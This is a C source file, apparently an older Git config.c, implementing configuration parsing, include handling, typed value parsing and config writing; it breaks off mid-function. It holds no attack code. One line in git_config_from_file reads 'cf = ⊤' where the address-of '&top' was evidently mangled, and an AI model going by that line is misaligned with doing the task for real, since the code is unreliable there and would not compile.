/*
* GIT - The information manager from hell
*
* Copyright (C) Linus Torvalds, 2005
* Copyright (C) Johannes Schindelin, 2005
*
*/
#include "cache.h"
#include "exec_cmd.h"
#include "strbuf.h"
#include "quote.h"
typedef struct config_file {
struct config_file *prev;
FILE *f;
const char *name;
int linenr;
int eof;
struct strbuf value;
struct strbuf var;
} config_file;
static config_file *cf;
static int zlib_compression_seen;
#define MAX_INCLUDE_DEPTH 10
static const char include_depth_advice[] =
"exceeded maximum include depth (%d) while including\n"
" %s\n"
"from\n"
" %s\n"
"Do you have circular includes?";
static int handle_path_include(const char *path, struct config_include_data *inc)
{
int ret = 0;
struct strbuf buf = STRBUF_INIT;
char *expanded = expand_user_path(path);
if (!expanded)
return error("Could not expand include path '%s'", path);
path = expanded;
/*
* Use an absolute path as-is, but interpret relative paths
* based on the including config file.
*/
if (!is_absolute_path(path)) {
char *slash;
if (!cf || !cf->name)
return error("relative config includes must come from files");
slash = find_last_dir_sep(cf->name);
if (slash)
strbuf_add(&buf, cf->name, slash - cf->name + 1);
strbuf_addstr(&buf, path);
path = buf.buf;
}
if (!access_or_die(path, R_OK)) {
if (++inc->depth > MAX_INCLUDE_DEPTH)
die(include_depth_advice, MAX_INCLUDE_DEPTH, path,
cf && cf->name ? cf->name : "the command line");
ret = git_config_from_file(git_config_include, path, inc);
inc->depth--;
}
strbuf_release(&buf);
free(expanded);
return ret;
}
int git_config_include(const char *var, const char *value, void *data)
{
struct config_include_data *inc = data;
const char *type;
int ret;
/*
* Pass along all values, including "include" directives; this makes it
* possible to query information on the includes themselves.
*/
ret = inc->fn(var, value, inc->data);
if (ret < 0)
return ret;
type = skip_prefix(var, "include.");
if (!type)
return ret;
if (!strcmp(type, "path"))
ret = handle_path_include(value, inc);
return ret;
}
static void lowercase(char *p)
{
for (; *p; p++)
*p = tolower(*p);
}
void git_config_push_parameter(const char *text)
{
struct strbuf env = STRBUF_INIT;
const char *old = getenv(CONFIG_DATA_ENVIRONMENT);
if (old) {
strbuf_addstr(&env, old);
strbuf_addch(&env, ' ');
}
sq_quote_buf(&env, text);
setenv(CONFIG_DATA_ENVIRONMENT, env.buf, 1);
strbuf_release(&env);
}
int git_config_parse_parameter(const char *text,
config_fn_t fn, void *data)
{
struct strbuf **pair;
pair = strbuf_split_str(text, '=', 2);
if (!pair[0])
return error("bogus config parameter: %s", text);
if (pair[0]->len && pair[0]->buf[pair[0]->len - 1] == '=')
strbuf_setlen(pair[0], pair[0]->len - 1);
strbuf_trim(pair[0]);
if (!pair[0]->len) {
strbuf_list_free(pair);
return error("bogus config parameter: %s", text);
}
lowercase(pair[0]->buf);
if (fn(pair[0]->buf, pair[1] ? pair[1]->buf : NULL, data) < 0) {
strbuf_list_free(pair);
return -1;
}
strbuf_list_free(pair);
return 0;
}
int git_config_from_parameters(config_fn_t fn, void *data)
{
const char *env = getenv(CONFIG_DATA_ENVIRONMENT);
char *envw;
const char **argv = NULL;
int nr = 0, alloc = 0;
int i;
if (!env)
return 0;
/* sq_dequote will write over it */
envw = xstrdup(env);
if (sq_dequote_to_argv(envw, &argv, &nr, &alloc) < 0) {
free(envw);
return error("bogus format in " CONFIG_DATA_ENVIRONMENT);
}
for (i = 0; i < nr; i++) {
if (git_config_parse_parameter(argv[i], fn, data) < 0) {
free(argv);
free(envw);
return -1;
}
}
free(argv);
free(envw);
return nr > 0;
}
static int get_next_char(void)
{
int c;
FILE *f;
c = '\n';
if (cf && ((f = cf->f) != NULL)) {
c = fgetc(f);
if (c == '\r') {
/* DOS like systems */
c = fgetc(f);
if (c != '\n') {
ungetc(c, f);
c = '\r';
}
}
if (c == '\n')
cf->linenr++;
if (c == EOF) {
cf->eof = 1;
c = '\n';
}
}
return c;
}
static char *parse_value(void)
{
int quote = 0, comment = 0, space = 0;
strbuf_reset(&cf->value);
for (;;) {
int c = get_next_char();
if (c == '\n') {
if (quote) {
cf->linenr--;
return NULL;
}
return cf->value.buf;
}
if (comment)
continue;
if (isspace(c) && !quote) {
if (cf->value.len)
space++;
continue;
}
if (!quote) {
if (c == ';' || c == '#') {
comment = 1;
continue;
}
}
for (; space; space--)
strbuf_addch(&cf->value, ' ');
if (c == '\\') {
c = get_next_char();
switch (c) {
case '\n':
continue;
case 't':
c = '\t';
break;
case 'b':
c = '\b';
break;
case 'n':
c = '\n';
break;
/* Some characters escape as themselves */
case '\\': case '"':
break;
/* Reject unknown escape sequences */
default:
return NULL;
}
strbuf_addch(&cf->value, c);
continue;
}
if (c == '"') {
quote = 1-quote;
continue;
}
strbuf_addch(&cf->value, c);
}
}
static inline int iskeychar(int c)
{
return isalnum(c) || c == '-';
}
static int get_value(config_fn_t fn, void *data, struct strbuf *name)
{
int c;
char *value;
/* Get the full name */
for (;;) {
c = get_next_char();
if (cf->eof)
break;
if (!iskeychar(c))
break;
strbuf_addch(name, tolower(c));
}
while (c == ' ' || c == '\t')
c = get_next_char();
value = NULL;
if (c != '\n') {
if (c != '=')
return -1;
value = parse_value();
if (!value)
return -1;
}
return fn(name->buf, value, data);
}
static int get_extended_base_var(struct strbuf *name, int c)
{
do {
if (c == '\n')
goto error_incomplete_line;
c = get_next_char();
} while (isspace(c));
/* We require the format to be '[base "extension"]' */
if (c != '"')
return -1;
strbuf_addch(name, '.');
for (;;) {
int c = get_next_char();
if (c == '\n')
goto error_incomplete_line;
if (c == '"')
break;
if (c == '\\') {
c = get_next_char();
if (c == '\n')
goto error_incomplete_line;
}
strbuf_addch(name, c);
}
/* Final ']' */
if (get_next_char() != ']')
return -1;
return 0;
error_incomplete_line:
cf->linenr--;
return -1;
}
static int get_base_var(struct strbuf *name)
{
for (;;) {
int c = get_next_char();
if (cf->eof)
return -1;
if (c == ']')
return 0;
if (isspace(c))
return get_extended_base_var(name, c);
if (!iskeychar(c) && c != '.')
return -1;
strbuf_addch(name, tolower(c));
}
}
static int git_parse_file(config_fn_t fn, void *data)
{
int comment = 0;
int baselen = 0;
struct strbuf *var = &cf->var;
/* U+FEFF Byte Order Mark in UTF8 */
static const unsigned char *utf8_bom = (unsigned char *) "\xef\xbb\xbf";
const unsigned char *bomptr = utf8_bom;
for (;;) {
int c = get_next_char();
if (bomptr && *bomptr) {
/* We are at the file beginning; skip UTF8-encoded BOM
* if present. Sane editors won't put this in on their
* own, but e.g. Windows Notepad will do it happily. */
if ((unsigned char) c == *bomptr) {
bomptr++;
continue;
} else {
/* Do not tolerate partial BOM. */
if (bomptr != utf8_bom)
break;
/* No BOM at file beginning. Cool. */
bomptr = NULL;
}
}
if (c == '\n') {
if (cf->eof)
return 0;
comment = 0;
continue;
}
if (comment || isspace(c))
continue;
if (c == '#' || c == ';') {
comment = 1;
continue;
}
if (c == '[') {
/* Reset prior to determining a new stem */
strbuf_reset(var);
if (get_base_var(var) < 0 || var->len < 1)
break;
strbuf_addch(var, '.');
baselen = var->len;
continue;
}
if (!isalpha(c))
break;
/*
* Truncate the var name back to the section header
* stem prior to grabbing the suffix part of the name
* and the value.
*/
strbuf_setlen(var, baselen);
strbuf_addch(var, tolower(c));
if (get_value(fn, data, var) < 0)
break;
}
die("bad config file line %d in %s", cf->linenr, cf->name);
}
static int parse_unit_factor(const char *end, uintmax_t *val)
{
if (!*end)
return 1;
else if (!strcasecmp(end, "k")) {
*val *= 1024;
return 1;
}
else if (!strcasecmp(end, "m")) {
*val *= 1024 * 1024;
return 1;
}
else if (!strcasecmp(end, "g")) {
*val *= 1024 * 1024 * 1024;
return 1;
}
return 0;
}
static int git_parse_long(const char *value, long *ret)
{
if (value && *value) {
char *end;
intmax_t val;
uintmax_t uval;
uintmax_t factor = 1;
errno = 0;
val = strtoimax(value, &end, 0);
if (errno == ERANGE)
return 0;
if (!parse_unit_factor(end, &factor))
return 0;
uval = abs(val);
uval *= factor;
if ((uval > maximum_signed_value_of_type(long)) ||
(abs(val) > uval))
return 0;
val *= factor;
*ret = val;
return 1;
}
return 0;
}
int git_parse_ulong(const char *value, unsigned long *ret)
{
if (value && *value) {
char *end;
uintmax_t val;
uintmax_t oldval;
errno = 0;
val = strtoumax(value, &end, 0);
if (errno == ERANGE)
return 0;
oldval = val;
if (!parse_unit_factor(end, &val))
return 0;
if ((val > maximum_unsigned_value_of_type(long)) ||
(oldval > val))
return 0;
*ret = val;
return 1;
}
return 0;
}
static void die_bad_config(const char *name)
{
if (cf && cf->name)
die("bad config value for '%s' in %s", name, cf->name);
die("bad config value for '%s'", name);
}
int git_config_int(const char *name, const char *value)
{
long ret = 0;
if (!git_parse_long(value, &ret))
die_bad_config(name);
return ret;
}
unsigned long git_config_ulong(const char *name, const char *value)
{
unsigned long ret;
if (!git_parse_ulong(value, &ret))
die_bad_config(name);
return ret;
}
static int git_config_maybe_bool_text(const char *name, const char *value)
{
if (!value)
return 1;
if (!*value)
return 0;
if (!strcasecmp(value, "true")
|| !strcasecmp(value, "yes")
|| !strcasecmp(value, "on"))
return 1;
if (!strcasecmp(value, "false")
|| !strcasecmp(value, "no")
|| !strcasecmp(value, "off"))
return 0;
return -1;
}
int git_config_maybe_bool(const char *name, const char *value)
{
long v = git_config_maybe_bool_text(name, value);
if (0 <= v)
return v;
if (git_parse_long(value, &v))
return !!v;
return -1;
}
int git_config_bool_or_int(const char *name, const char *value, int *is_bool)
{
int v = git_config_maybe_bool_text(name, value);
if (0 <= v) {
*is_bool = 1;
return v;
}
*is_bool = 0;
return git_config_int(name, value);
}
int git_config_bool(const char *name, const char *value)
{
int discard;
return !!git_config_bool_or_int(name, value, &discard);
}
int git_config_string(const char **dest, const char *var, const char *value)
{
if (!value)
return config_error_nonbool(var);
*dest = xstrdup(value);
return 0;
}
int git_config_pathname(const char **dest, const char *var, const char *value)
{
if (!value)
return config_error_nonbool(var);
*dest = expand_user_path(value);
if (!*dest)
die("Failed to expand user dir in: '%s'", value);
return 0;
}
static int git_default_core_config(const char *var, const char *value)
{
/* This needs a better name */
if (!strcmp(var, "core.filemode")) {
trust_executable_bit = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.trustctime")) {
trust_ctime = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.statinfo")) {
if (!strcasecmp(value, "default"))
check_stat = 1;
else if (!strcasecmp(value, "minimal"))
check_stat = 0;
}
if (!strcmp(var, "core.quotepath")) {
quote_path_fully = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.symlinks")) {
has_symlinks = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.ignorecase")) {
ignore_case = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.attributesfile"))
return git_config_pathname(&git_attributes_file, var, value);
if (!strcmp(var, "core.bare")) {
is_bare_repository_cfg = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.ignorestat")) {
assume_unchanged = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.prefersymlinkrefs")) {
prefer_symlink_refs = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.logallrefupdates")) {
log_all_ref_updates = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.warnambiguousrefs")) {
warn_ambiguous_refs = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.abbrev")) {
int abbrev = git_config_int(var, value);
if (abbrev < minimum_abbrev || abbrev > 40)
return -1;
default_abbrev = abbrev;
return 0;
}
if (!strcmp(var, "core.loosecompression")) {
int level = git_config_int(var, value);
if (level == -1)
level = Z_DEFAULT_COMPRESSION;
else if (level < 0 || level > Z_BEST_COMPRESSION)
die("bad zlib compression level %d", level);
zlib_compression_level = level;
zlib_compression_seen = 1;
return 0;
}
if (!strcmp(var, "core.compression")) {
int level = git_config_int(var, value);
if (level == -1)
level = Z_DEFAULT_COMPRESSION;
else if (level < 0 || level > Z_BEST_COMPRESSION)
die("bad zlib compression level %d", level);
core_compression_level = level;
core_compression_seen = 1;
if (!zlib_compression_seen)
zlib_compression_level = level;
return 0;
}
if (!strcmp(var, "core.packedgitwindowsize")) {
int pgsz_x2 = getpagesize() * 2;
packed_git_window_size = git_config_ulong(var, value);
/* This value must be multiple of (pagesize * 2) */
packed_git_window_size /= pgsz_x2;
if (packed_git_window_size < 1)
packed_git_window_size = 1;
packed_git_window_size *= pgsz_x2;
return 0;
}
if (!strcmp(var, "core.bigfilethreshold")) {
big_file_threshold = git_config_ulong(var, value);
return 0;
}
if (!strcmp(var, "core.packedgitlimit")) {
packed_git_limit = git_config_ulong(var, value);
return 0;
}
if (!strcmp(var, "core.deltabasecachelimit")) {
delta_base_cache_limit = git_config_ulong(var, value);
return 0;
}
if (!strcmp(var, "core.logpackaccess"))
return git_config_string(&log_pack_access, var, value);
if (!strcmp(var, "core.autocrlf")) {
if (value && !strcasecmp(value, "input")) {
if (core_eol == EOL_CRLF)
return error("core.autocrlf=input conflicts with core.eol=crlf");
auto_crlf = AUTO_CRLF_INPUT;
return 0;
}
auto_crlf = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.safecrlf")) {
if (value && !strcasecmp(value, "warn")) {
safe_crlf = SAFE_CRLF_WARN;
return 0;
}
safe_crlf = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.eol")) {
if (value && !strcasecmp(value, "lf"))
core_eol = EOL_LF;
else if (value && !strcasecmp(value, "crlf"))
core_eol = EOL_CRLF;
else if (value && !strcasecmp(value, "native"))
core_eol = EOL_NATIVE;
else
core_eol = EOL_UNSET;
if (core_eol == EOL_CRLF && auto_crlf == AUTO_CRLF_INPUT)
return error("core.autocrlf=input conflicts with core.eol=crlf");
return 0;
}
if (!strcmp(var, "core.notesref")) {
notes_ref_name = xstrdup(value);
return 0;
}
if (!strcmp(var, "core.pager"))
return git_config_string(&pager_program, var, value);
if (!strcmp(var, "core.editor"))
return git_config_string(&editor_program, var, value);
if (!strcmp(var, "core.commentchar")) {
const char *comment;
int ret = git_config_string(&comment, var, value);
if (!ret)
comment_line_char = comment[0];
return ret;
}
if (!strcmp(var, "core.askpass"))
return git_config_string(&askpass_program, var, value);
if (!strcmp(var, "core.excludesfile"))
return git_config_pathname(&excludes_file, var, value);
if (!strcmp(var, "core.whitespace")) {
if (!value)
return config_error_nonbool(var);
whitespace_rule_cfg = parse_whitespace_rule(value);
return 0;
}
if (!strcmp(var, "core.fsyncobjectfiles")) {
fsync_object_files = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.preloadindex")) {
core_preload_index = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.createobject")) {
if (!strcmp(value, "rename"))
object_creation_mode = OBJECT_CREATION_USES_RENAMES;
else if (!strcmp(value, "link"))
object_creation_mode = OBJECT_CREATION_USES_HARDLINKS;
else
die("Invalid mode for object creation: %s", value);
return 0;
}
if (!strcmp(var, "core.sparsecheckout")) {
core_apply_sparse_checkout = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.precomposeunicode")) {
precomposed_unicode = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "core.hidedotfiles")) {
if (value && !strcasecmp(value, "dotgitonly")) {
hide_dotfiles = HIDE_DOTFILES_DOTGITONLY;
return 0;
}
hide_dotfiles = git_config_bool(var, value);
return 0;
}
/* Add other config variables here and to Documentation/config.txt. */
return 0;
}
static int git_default_i18n_config(const char *var, const char *value)
{
if (!strcmp(var, "i18n.commitencoding"))
return git_config_string(&git_commit_encoding, var, value);
if (!strcmp(var, "i18n.logoutputencoding"))
return git_config_string(&git_log_output_encoding, var, value);
/* Add other config variables here and to Documentation/config.txt. */
return 0;
}
static int git_default_branch_config(const char *var, const char *value)
{
if (!strcmp(var, "branch.autosetupmerge")) {
if (value && !strcasecmp(value, "always")) {
git_branch_track = BRANCH_TRACK_ALWAYS;
return 0;
}
git_branch_track = git_config_bool(var, value);
return 0;
}
if (!strcmp(var, "branch.autosetuprebase")) {
if (!value)
return config_error_nonbool(var);
else if (!strcmp(value, "never"))
autorebase = AUTOREBASE_NEVER;
else if (!strcmp(value, "local"))
autorebase = AUTOREBASE_LOCAL;
else if (!strcmp(value, "remote"))
autorebase = AUTOREBASE_REMOTE;
else if (!strcmp(value, "always"))
autorebase = AUTOREBASE_ALWAYS;
else
return error("Malformed value for %s", var);
return 0;
}
/* Add other config variables here and to Documentation/config.txt. */
return 0;
}
static int git_default_push_config(const char *var, const char *value)
{
if (!strcmp(var, "push.default")) {
if (!value)
return config_error_nonbool(var);
else if (!strcmp(value, "nothing"))
push_default = PUSH_DEFAULT_NOTHING;
else if (!strcmp(value, "matching"))
push_default = PUSH_DEFAULT_MATCHING;
else if (!strcmp(value, "simple"))
push_default = PUSH_DEFAULT_SIMPLE;
else if (!strcmp(value, "upstream"))
push_default = PUSH_DEFAULT_UPSTREAM;
else if (!strcmp(value, "tracking")) /* deprecated */
push_default = PUSH_DEFAULT_UPSTREAM;
else if (!strcmp(value, "current"))
push_default = PUSH_DEFAULT_CURRENT;
else {
error("Malformed value for %s: %s", var, value);
return error("Must be one of nothing, matching, simple, "
"upstream or current.");
}
return 0;
}
/* Add other config variables here and to Documentation/config.txt. */
return 0;
}
static int git_default_mailmap_config(const char *var, const char *value)
{
if (!strcmp(var, "mailmap.file"))
return git_config_string(&git_mailmap_file, var, value);
if (!strcmp(var, "mailmap.blob"))
return git_config_string(&git_mailmap_blob, var, value);
/* Add other config variables here and to Documentation/config.txt. */
return 0;
}
int git_default_config(const char *var, const char *value, void *dummy)
{
if (!prefixcmp(var, "core."))
return git_default_core_config(var, value);
if (!prefixcmp(var, "user."))
return git_ident_config(var, value, dummy);
if (!prefixcmp(var, "i18n."))
return git_default_i18n_config(var, value);
if (!prefixcmp(var, "branch."))
return git_default_branch_config(var, value);
if (!prefixcmp(var, "push."))
return git_default_push_config(var, value);
if (!prefixcmp(var, "mailmap."))
return git_default_mailmap_config(var, value);
if (!prefixcmp(var, "advice."))
return git_default_advice_config(var, value);
if (!strcmp(var, "pager.color") || !strcmp(var, "color.pager")) {
pager_use_color = git_config_bool(var,value);
return 0;
}
if (!strcmp(var, "pack.packsizelimit")) {
pack_size_limit_cfg = git_config_ulong(var, value);
return 0;
}
/* Add other config variables here and to Documentation/config.txt. */
return 0;
}
int git_config_from_file(config_fn_t fn, const char *filename, void *data)
{
int ret;
FILE *f = fopen(filename, "r");
ret = -1;
if (f) {
config_file top;
/* push config-file parsing state stack */
top.prev = cf;
top.f = f;
top.name = filename;
top.linenr = 1;
top.eof = 0;
strbuf_init(&top.value, 1024);
strbuf_init(&top.var, 1024);
cf = ⊤
ret = git_parse_file(fn, data);
/* pop config-file parsing state stack */
strbuf_release(&top.value);
strbuf_release(&top.var);
cf = top.prev;
fclose(f);
}
return ret;
}
const char *git_etc_gitconfig(void)
{
static const char *system_wide;
if (!system_wide)
system_wide = system_path(ETC_GITCONFIG);
return system_wide;
}
int git_env_bool(const char *k, int def)
{
const char *v = getenv(k);
return v ? git_config_bool(k, v) : def;
}
int git_config_system(void)
{
return !git_env_bool("GIT_CONFIG_NOSYSTEM", 0);
}
int git_config_early(config_fn_t fn, void *data, const char *repo_config)
{
int ret = 0, found = 0;
char *xdg_config = NULL;
char *user_config = NULL;
home_config_paths(&user_config, &xdg_config, "config");
if (git_config_system() && !access_or_die(git_etc_gitconfig(), R_OK)) {
ret += git_config_from_file(fn, git_etc_gitconfig(),
data);
found += 1;
}
if (xdg_config && !access_or_die(xdg_config, R_OK)) {
ret += git_config_from_file(fn, xdg_config, data);
found += 1;
}
if (user_config && !access_or_die(user_config, R_OK)) {
ret += git_config_from_file(fn, user_config, data);
found += 1;
}
if (repo_config && !access_or_die(repo_config, R_OK)) {
ret += git_config_from_file(fn, repo_config, data);
found += 1;
}
switch (git_config_from_parameters(fn, data)) {
case -1: /* error */
die("unable to parse command-line config");
break;
case 0: /* found nothing */
break;
default: /* found at least one item */
found++;
break;
}
free(xdg_config);
free(user_config);
return ret == 0 ? found : ret;
}
int git_config_with_options(config_fn_t fn, void *data,
const char *filename, int respect_includes)
{
char *repo_config = NULL;
int ret;
struct config_include_data inc = CONFIG_INCLUDE_INIT;
if (respect_includes) {
inc.fn = fn;
inc.data = data;
fn = git_config_include;
data = &inc;
}
/*
* If we have a specific filename, use it. Otherwise, follow the
* regular lookup sequence.
*/
if (filename)
return git_config_from_file(fn, filename, data);
repo_config = git_pathdup("config");
ret = git_config_early(fn, data, repo_config);
if (repo_config)
free(repo_config);
return ret;
}
int git_config(config_fn_t fn, void *data)
{
return git_config_with_options(fn, data, NULL, 1);
}
/*
* Find all the stuff for git_config_set() below.
*/
#define MAX_MATCHES 512
static struct {
int baselen;
char *key;
int do_not_match;
regex_t *value_regex;
int multi_replace;
size_t offset[MAX_MATCHES];
enum { START, SECTION_SEEN, SECTION_END_SEEN, KEY_SEEN } state;
int seen;
} store;
static int matches(const char *key, const char *value)
{
return !strcmp(key, store.key) &&
(store.value_regex == NULL ||
(store.do_not_match ^
!regexec(store.value_regex, value, 0, NULL, 0)));
}
static int store_aux(const char *key, const char *value, void *cb)
{
const char *ep;
size_t section_len;
FILE *f = cf->f;
switch (store.state) {
case KEY_SEEN:
if (matches(key, value)) {
if (store.seen == 1 && store.multi_replace == 0) {
warning("%s has multiple values", key);
} else if (store.seen >= MAX_MATCHES) {
error("too many matches for %s", key);
return 1;
}
store.offset[store.seen] = ftell(f);
store.seen++;
}
break;
case SECTION_SEEN:
/*
* What we are looking for is in store.key (both
* section and var), and its section part is baselen
* long. We found key (again, both section and var).
* We would want to know if this key is in the same
* section as what we are looking for. We already
* know we are in the same section as what should
* hold store.key.
*/
ep = strrchr(key, '.');
section_len = ep - key;
if ((section_len != store.baselen) ||
memcmp(key, store.key, section_len+1)) {
store.state = SECTION_END_SEEN;
break;
}
/*
* Do not increment matches: this is no match, but we
* just made sure we are in the desired section.
*/
store.offset[store.seen] = ftell(f);
/* fallthru */
case SECTION_END_SEEN:
case START:
if (matches(key, value)) {
store.offset[store.seen] = ftell(f);
store.state = KEY_SEEN;
store.seen++;
} else {
if (strrchr(key, '.') - key == store.baselen &&
!strncmp(key, store.key, store.baselen)) {
store.state = SECTION_SEEN;
store.offset[store.seen] = ftell(f);
}
}
}
return 0;
}
static int write_error(const char *filename)
{
error("failed to write new configuration file %s", filename);
/* Same error code as "failed to rename". */
return 4;
}
static int store_write_section(int fd, const char *key)
{
const char *dot;
int i, success;
struct strbuf sb = STRBUF_INIT;
dot = memchr(key, '.', store.baselen);
if (dot) {
strbuf_addf(&sb, "[%.*s \"", (int)(dot - key), key);
for (i = dot - key + 1; i < store.baselen; i++) {
if (key[i] == '"' || key[i] == '\\')
strbuf_addch(&sb, '\\');
strbuf_addch(&sb, key[i]);
}
strbuf_addstr(&sb, "\"]\n");
} else {
strbuf_addf(&sb, "[%.*s]\n", store.baselen, key);
}
success = write_in_full(fd, sb.buf, sb.len) == sb.len;
strbuf_release(&sb);
return success;
}
static int store_write_pair(int fd, const char *key, const char *value)
{
int i, success;
int length = strlen(key + store.baselen + 1);
const char *quote = "";
struct strbuf sb = STRBUF_INIT;
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%.*s = %s",
length, key + store.baselen + 1, quote);
for (i = 0; value[i]; i++)
switch (value[i]) {
case '\n':
strbuf_addstr(&sb, "\\n");
break;
case '\t':
strbuf_addstr(&sb, "\\t");
break;
case '"':
case '\\':
strbuf_addch(&sb, '\\');
default:
strbuf_addch(&sb, value[i]);
break;
}
strbuf_addf(&sb, "%s\n", quote);
success = write_in_full(fd, sb.buf, sb.len) == sb.len;
strbuf_release(&sb);
return success;
}
static ssize_t find_beginning_of_line(const char *contents, size_t size,
size_t offset_, int *found_bracket)
{
size_t equal_offset = size, bracket_offset = size;
ssize_t offset;
contline:
for (offset = offset_-2; offset > 0
&& contents[offset] != '\n'; offset--)
switch (contents[offset]) {
case '=': equal_offset = offset; break;
case ']': bracket_offset = offset; break;
}
if (offset > 0 && contents[offset-1] == '\\') {
offset_ = offset;
goto contline;
}
if (bracket_offset < equal_offset) {
*found_bracket = 1;
offset = bracket_offset+1;
} else
offset++;
return offset;
}
int git_config_set_in_file(const char *config_filename,
const char *key, const char *value)
{
return git_config_set_multivar_in_file(config_filename, key, value, NULL, 0);
}
int git_config_set(const char *key, const char *value)
{
return git_config_set_multivar(key, value, NULL, 0);
}
/*
* Auxiliary function to sanity-check and split the key into the section
* identifier and variable name.
*
* Returns 0 on success, -1 when there is an invalid character in the key and
* -2 if there is no section name in the key.
*
* store_key - pointer to char* which will hold a copy of the key with
* lowercase section and variable name
* baselen - pointer to int which will hold the length of the
* section + subsection part, can be NULL
*/
int git_config_parse_key(const char *key, char **store_key, int *baselen_)
{
int i, dot, baselen;
const char *last_dot = strrchr(key, '.');
/*
* Since "key" actually contains the section name and the real
* key name separated by a dot, we have to know where the dot is.
*/
if (last_dot == NULL || last_dot == key) {
error("key does not contain a section: %s", key);
return -CONFIG_NO_SECTION_OR_NAME;
}
if (!last_dot[1]) {
error("key does not contain variable name: %s", key);
return -CONFIG_NO_SECTION_OR_NAME;
}
baselen = last_dot - key;
if (baselen_)
*baselen_ = baselen;
/*
* Validate the key and while at it, lower case it for matching.
*/
*store_key = xmalloc(strlen(key) + 1);
dot = 0;
for (i = 0; key[i]; i++) {
unsigned char c = key[i];
if (c == '.')
dot = 1;
/* Leave the extended basename untouched.. */
if (!dot || i > baselen) {
if (!iskeychar(c) ||
(i == baselen + 1 && !isalpha(c))) {
error("invalid key: %s", key);
goto out_free_ret_1;
}
c = tolower(c);
} else if (c == '\n') {
error("invalid key (newline): %s", key);
goto out_free_ret_1;
}
(*store_key)[i] = c;
}
(*store_key)[i] = 0;
return 0;
out_free_ret_1:
free(*store_key);
*store_key = NULL;
return -CONFIG_INVALID_KEY;
}
/*
* If value==NULL, unset in (remove from) config,
* if value_regex!=NULL, disregard key/value pairs where value does not match.
* if multi_replace==0, nothing, or only one matching key/value is replaced,
* else all matching key/values (regardless how many) are removed,
* before the new pair is written.
*
* Returns 0 on success.
*
* This function does this:
*
* - it locks the config file by creating ".git/config.lock"
*
* - it then parses the config using store_aux() as validator to find
* the position on the key/value pair to replace. If it is to be unset,
* it must be found exactly once.
*
* - the config file is mmap()ed and the part before the match (if any) is
* written to the lock file, then the changed part and the rest.
*
* - the config file is removed and the lock file rename()d to it.
*
*/
int git_config_set_multivar_in_file(const char *config_filename,
const char *key, const char *value,
const char *value_regex, int multi_replace)
{
int fd = -1, in_fd;
int ret;
struct lock_file *lock = NULL;
char *filename_buf = NULL;
/* parse-key returns negative; flip the sign to feed exit(3) */
ret = 0 - git_config_parse_key(key, &store.key, &store.baselen);
if (ret)
goto out_free;
store.multi_replace = multi_replace;
if (!config_filename)
config_filename = filename_buf = git_pathdup("config");
/*
* The lock serves a purpose in addition to locking: the new
* contents of .git/config will be written into it.
*/
lock = xcalloc(sizeof(struct lock_file), 1);
fd = hold_lock_file_for_update(lock, config_filename, 0);
if (fd < 0) {
error("could not lock config file %s: %s", config_filename, strerror(errno));
free(store.key);
ret = CONFIG_NO_LOCK;
goto out_free;
}
/*
* If .git/config does not exist yet, write a minimal version.
*/
in_fd = open(config_filename, O_RDONLY);
if ( in_fd < 0 ) {
free(store.key);
if ( ENOENT != errno ) {
error("opening %s: %s", config_filename,
strerror(errno));
ret = CONFIG_INVALID_FILE; /* same as "invalid config file" */
goto out_free;
}
/* if nothing to unset, error out */
if (value == NULL) {
ret = CONFIG_NOTHING_SET;
goto out_free;
}
store.key = (char *)key;
if (!store_write_section(fd, key) ||
!store_write_pair(fd, key, value))
goto write_err_out;
} else {
struct stat st;
char *contents;
size_t contents_sz, copy_begin, copy_end;
int i, new_line = 0;
if (value_regex == NULL)
store.value_regex = NULL;
else {
if (value_regex[0] == '!') {
store.do_not_match = 1;
value_regex++;
} else
store.do_not_match = 0;
store.value_regex = (regex_t*)xmalloc(sizeof(regex_t));
if (regcomp(store.value_regex, value_regex,
REG_EXTENDED)) {
error("invalid pattern: %s", value_regex);
free(store.value_regex);
ret = CONFIG_INVALID_PATTERN;
goto out_free;
}
}
store.offset[0] = 0;
store.state = START;
store.seen = 0;
/*
* After this, store.offset will contain the *end* offset
* of the last match, or remain at 0 if no match was found.
* As a side effect, we make sure to transform only a valid
* existing config file.
*/
if (git_config_from_file(store_aux, config_filename, NULL)) {
error("invalid config file %s", config_filename);
free(store.key);
if (store.value_regex != NULL) {
regfree(store.value_regex);
free(store.value_regex);
}
ret = CONFIG_INVALID_FILE;
goto out_free;
}
free(store.key);
if (store.value_regex != NULL) {
regfree(store.value_regex);
free(store.value_regex);
}
/* if nothing to unset, or too many matches, error out */
if ((store.seen == 0 && value == NULL) ||
(store.seen > 1 && multi_replace == 0)) {
ret = CONFIG_NOTHING_SET;
goto out_free;
}
fstat(in_fd, &st);
contents_sz = xsize_t(st.st_size);
contents = xmmap(NULL, contents_sz, PROT_READ,
MAP_PRIVATE, in_fd, 0);
close(in_fd);
if (store.seen == 0)
store.seen = 1;
for (i = 0, copy_begin = 0; i < store.seen; i++) {
if (store.offset[i] == 0) {
store.offset[i] = copy_end = contents_sz;
} else if (store.state != KEY_SEEN) {
copy_end = store.offset[i];
} else
copy_end = find_beginning_of_line(
contents, contents_sz,
store.offset[i]-2, &new_line);
if (copy_end > 0 && contents[copy_end-1] != '\n')
new_line = 1;
/* write the first part of the config */
if (copy_end > copy_begin) {
if (write_in_full(fd, contents + copy_begin,
copy_end - copy_begin) <
